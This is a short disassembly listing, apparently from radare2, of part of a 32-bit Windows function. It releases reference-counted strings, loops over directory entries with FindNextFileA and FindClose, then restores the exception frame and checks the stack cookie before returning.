mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x27c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40668c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x274]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4066b5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x278]
inc eax
cmp eax, 0xa
mov dword [ebp - 0x270], eax
mov dword [ecx], eax
jge 0x4066eb
mov eax, dword [ebp - 0x26c]
lea edx, [ebp - 0x264]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4065f9
mov ecx, dword [ebp - 0x26c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret